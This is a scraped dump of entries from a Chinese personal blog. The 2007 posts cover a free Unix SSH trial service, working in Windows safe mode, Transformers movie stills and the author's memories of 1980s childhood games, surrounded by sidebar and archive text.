如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/03/21/mobile-pictures-tv-tower-and-liaoning-exhibition-hall/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"手机图片·彩电塔和辽宁展览馆"},{"content":"晚上收到一封mail，来自ecommunity@gceclub.com，mail中提到Unix体验中心开始提供免费服务了。Mail中写道：\u0026lsquo;Unix体验中心(Unix-Center.Net)的目标是为研究、学习和使用各种版本的Unix和类Unix操作系统的教师、学生和工程技术人员提供一个体验和测试各种版本的Unix和类Unix系统的软硬件平台。该平台能够为所有注册用户免费提供如下服务：SSH登录以及各种语言开发开发工具\u0026rsquo;。虽说有Sun宣传产品之嫌，不过这样的一个平台还是可以让很多人体验到伟大的Unix的，现在的学生可是真幸福呀。\n要想体验Unix环境，首先需要注册一下，很简单的注册流程。然后就是按照其\u0026rsquo;常见问题解答\u0026rsquo;中的方法一步一步登陆到其服务器上。由于采用SSH2登陆，需要下载一个putty工具，我下载了一个绿色的putty包，免安装，直接可用。解包后里面有好多个putty系列工具，启动\u0026rsquo;putty\u0026rsquo;即可。在主机名称中输入IP地址(公众网：x4100.unix-center.net;教育网：x4100-edu.unix-center.net)，然后点击\u0026rsquo;打开\u0026rsquo;，你就会看到登陆窗口，你输入你注册时的user和passwd即可成功登陆。环境默认采用Bash Shell。里面有vim, emacs等编辑器，还有C,C++,Java等语言的编译器，供实验使用。大家不妨去试试。\n还有一点要注意的是：既然人家给提供这样的免费服务，大家就不要在上面太乱来。\n","permalink":"https://tonybai.com/2007/03/20/unix-center-begin-supply-services/","summary":"\u003cp\u003e晚上收到一封mail，来自\u003ca href=\"mailto:ecommunity@gceclub.com\"\u003eecommunity@gceclub.com\u003c/a\u003e，mail中提到\u003ca href=\"http://www.unix-center.net/\"\u003eUnix体验中心\u003c/a\u003e开始提供免费服务了。Mail中写道：\u0026lsquo;Unix体验中心(Unix-Center.Net)的目标是为研究、学习和使用各种版本的Unix和类Unix操作系统的教师、学生和工程技术人员提供一个体验和测试各种版本的Unix和类Unix系统的软硬件平台。该平台能够为所有注册用户免费提供如下服务：SSH登录以及各种语言开发开发工具\u0026rsquo;。虽说有Sun宣传产品之嫌，不过这样的一个平台还是可以让很多人体验到伟大的Unix的，现在的学生可是真幸福呀。\u003c/p\u003e\n\u003cp\u003e要想体验Unix环境，首先需要注册一下，很简单的注册流程。然后就是按照其\u0026rsquo;常见问题解答\u0026rsquo;中的方法一步一步登陆到其服务器上。由于采用SSH2登陆，需要下载一个\u003ca href=\"http://wrc.gro.clinux.org/putty/\"\u003eputty工具\u003c/a\u003e，我下载了一个绿色的\u003ca href=\"http://gro.clinux.org/frs/download.php/1877/puttyfile.zip\"\u003eputty包\u003c/a\u003e，免安装，直接可用。解包后里面有好多个putty系列工具，启动\u0026rsquo;putty\u0026rsquo;即可。在主机名称中输入IP地址(公众网：x4100.unix-center.net;教育网：x4100-edu.unix-center.net)，然后点击\u0026rsquo;打开\u0026rsquo;，你就会看到登陆窗口，你输入你注册时的user和passwd即可成功登陆。环境默认采用Bash Shell。里面有vim, emacs等编辑器，还有C,C++,Java等语言的编译器，供实验使用。大家不妨去试试。\u003c/p\u003e","title":"Unix体验中心开张"},{"content":"我的IBM R系笔记本于上周开始罢工了，任凭我如何杀毒，查木马，都没有发现任何中毒迹象，但就是一登陆进入正常模式后，时间不长，屏幕就定住了，任何按键都失效了，除了电源开关键，除了重启别无他法，但是在安全模式下工作却是正常，未出现如此现象，所以截至目前，我都一直在安全模式下工作。\n一般的机器在安全模式下，显示器的显示模式都很粗糙，一般字体很大，看不清，基本上不能用来正常工作。我的这个本本很奇怪，不知道是不是什么设置的原因，在安全模式下，屏幕变小了(就是在中间的一个小区域中)，但是显示水平却是和正常情况一样。这样一来，所有窗口都变小了，视野也变小了，拖拉滚动条的机会多了。\n长时间的安全模式下的工作，让我有些喜欢上安全模式了，不为别的，就是为了其简捷，进程管理器中那些进程让我放心，没有不眼熟的；还有最大的好处就是快。打开一个Word文档瞬间，这要是在正常模式下，非得等上半天。\n今天中午还在和同事讨论这件事情，如果Windows可定制那该多好，关掉哪些讨厌而又占据资源得所谓Services，而且这些Services一旦被病毒利用，危害则是大大的。我想大部分人需要的功能仅仅是上网(ftp, mail，Browser, IM)、音频和视频、即插即用的设备支持(比如从手机向PC传几张照片)罢了，其他服务功能一概不要。这才是一个完美的工作空间呢，少些打扰和苦恼，多些自由和快乐。\n如果微软推出这样的精简版本，价格势必低廉，很多人都会去买正版，我们不是不支持正版，只是兜里钱没那么多罢了^_^。\n","permalink":"https://tonybai.com/2007/03/19/work-under-safe-mode/","summary":"\u003cp\u003e我的IBM R系笔记本于上周开始罢工了，任凭我如何杀毒，查木马，都没有发现任何中毒迹象，但就是一登陆进入正常模式后，时间不长，屏幕就定住了，任何按键都失效了，除了电源开关键，除了重启别无他法，但是在安全模式下工作却是正常，未出现如此现象，所以截至目前，我都一直在安全模式下工作。\u003c/p\u003e","title":"有感于在'安全模式'下工作"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2007/03/15/delete-guodegang-from-links/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"把郭德刚从链接中删掉"},{"content":"从好睐坞电影手册看到的真人版变形金刚透露的擎天柱剧照，好漂亮呀。\n","permalink":"https://tonybai.com/2007/03/15/optimus-prime-in-movie-is-so-handsome/","summary":"\u003cp\u003e从\u003ca href=\"http://mymovie.blogbus.com\"\u003e好睐坞电影手册\u003c/a\u003e看到的\u003ca href=\"http://www.transformersmovie.com/\"\u003e真人版变形金刚\u003c/a\u003e透露的擎天柱剧照，好漂亮呀。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://bigwhite.blogbus.com/files/11739647050.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e \u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://bigwhite.blogbus.com/files/11739647050.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"http://bigwhite.blogbus.com/files/11739647051.jpg\"\u003e\u003ca href=\"http://bigwhite.blogbus.com/files/11739647051.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"好漂亮的擎天柱剧照"},{"content":"偶然间在新浪看到这么一个调查-\u0026rsquo;7、80年代我们都在玩什么\u0026rsquo;，这里我也借用这个题目主要谈谈小时候我这个80后的都玩过哪些。\n在这篇调查的篇首有这么一段话：\u0026lsquo;七、八十年代的中国，没有电脑，没有网络游戏，没有PSP，没有萝莉，也没有机会看美国大片。对于现在25～35岁这个年龄段的人来说，下面的32种“游戏”便成了他们休闲娱乐的首选！无论你是或者不是这个年龄段的，都来看看，了解下，这些或许已经绝迹的儿时回忆。\u0026rsquo; 的确，在那个几乎\u0026rsquo;一无所有\u0026rsquo;的年代里我们这些人收获的却是快乐，而今天的小孩子们他们的快乐方式和我们那时已经大不相同，用\u0026rsquo;绝迹的儿时回忆\u0026rsquo;来形容还是很恰如其分的。\n纸飞机\n记得那时后倪萍姐姐主持的七巧板节目大家都喜欢看，一把剪刀一张彩纸，翻翻折折，一件纸手工品就诞生了。在这些手工品里面纸飞机是最简单不过的了，材料不苛求，随意一张什么纸都可以。一般家庭父母都会教小孩子如何折一个纸飞机，有些小孩子可能会折多种纸飞机，我起码就会两三种。飞机虽然是纸的，但是也要飞上蓝天。拿着自己的纸飞机无论在什么场合都用力一掷，白色的纸飞机展开翅膀翱翔的天空中；孩子们都会比谁制作的纸飞机飞的又高又远，有些小孩子还特意跑到高处去放飞自己的飞机，的确有些人制作的飞机飞的真是惊人的远。\n弹玻璃球\n真是不知道这个游戏究竟起源于什么年代，但是在我小时候那可真是一项比较火爆的游戏。每天上学兜里都揣上各种型号的五颜六色的玻璃球，一到课间休息就会疯狂的跑出去，把最大型号的球放到土地上，用脚用力一踩，在地上出现一个洞，被打入这个洞的球就输给了击打者。所有参加游戏者都是将自己手中的球弹出去击打另一方的球，以使另一方的球入洞。玻璃球也分大小，玩的时候不限大小，当然大球自然由于\u0026rsquo;身体优势\u0026rsquo;在游戏过程中是占尽便宜。不过大球卖的贵，不易购到。记得当我上初中的时候，我家里还有一大罐各种类型的玻璃球。\n弹弓\n小时候拿弹弓打碎人家窗玻璃或打坏什么东西的事情总是屡屡发生，隐约记得第一副弹弓是爸爸用钢丝给我做成的柄，用橡皮筋做的弓弦，威力着实不小。那时候的弹弓基本上都是自己做的。不知道现在有没有卖现成的。\n拍画\n我们东北这边不叫\u0026rsquo;拍画\u0026rsquo;，叫的名字我用汉字还真写不出来，大致发音是\u0026rsquo;shan pia(汉语里没这个发音，我造出来的) ji\u0026rsquo;。那时候那种\u0026rsquo;拍画\u0026rsquo;在各个小卖店都能买到，一角钱一张，纸盒做的，上面粘了一张印有各个图案的纸，每个图案都是圆形的，回家后用剪刀沿着图形边缘将之剪下来。图案是多种多样的，有变形金刚的，有评书里面的人物，像什么三侠五义，杨家将等等。\u0026lsquo;拍画\u0026rsquo;也大小不一，我见过最大的直径约12厘米。\u0026lsquo;拍画\u0026rsquo;的玩法也很简单，就是把你手中的\u0026rsquo;拍画\u0026rsquo;拍到地上，如果能把对方放在地上的拍画掀翻，则你赢，对方的那张拍画就归你了；如果你没能掀翻对方的拍画，则你的拍画落在什么位置是不能动的，轮到对方拍你了；如果你的拍画落到石头上或地面凸起上，那你就不走运了，对方就会很容易将你的拍画掀翻。玩这个游戏有一定危险就是拍的时候过于用力，手指常常碰到地面，常常破皮流血。\n丢沙包\n一个群体活动，课间或者放学后小孩子们经常玩的游戏，各地可能规则不同。我们那的规则是两边是两个人丢沙包(我们这也管叫口袋，里面经常装的不是沙子，而黄豆粒或者其他谷物粒)，中间一堆人，口袋打到谁，谁就退出。如果中间的人接住了口袋，就可以将已经被打掉的人复活。这个游戏集娱乐和运动于一身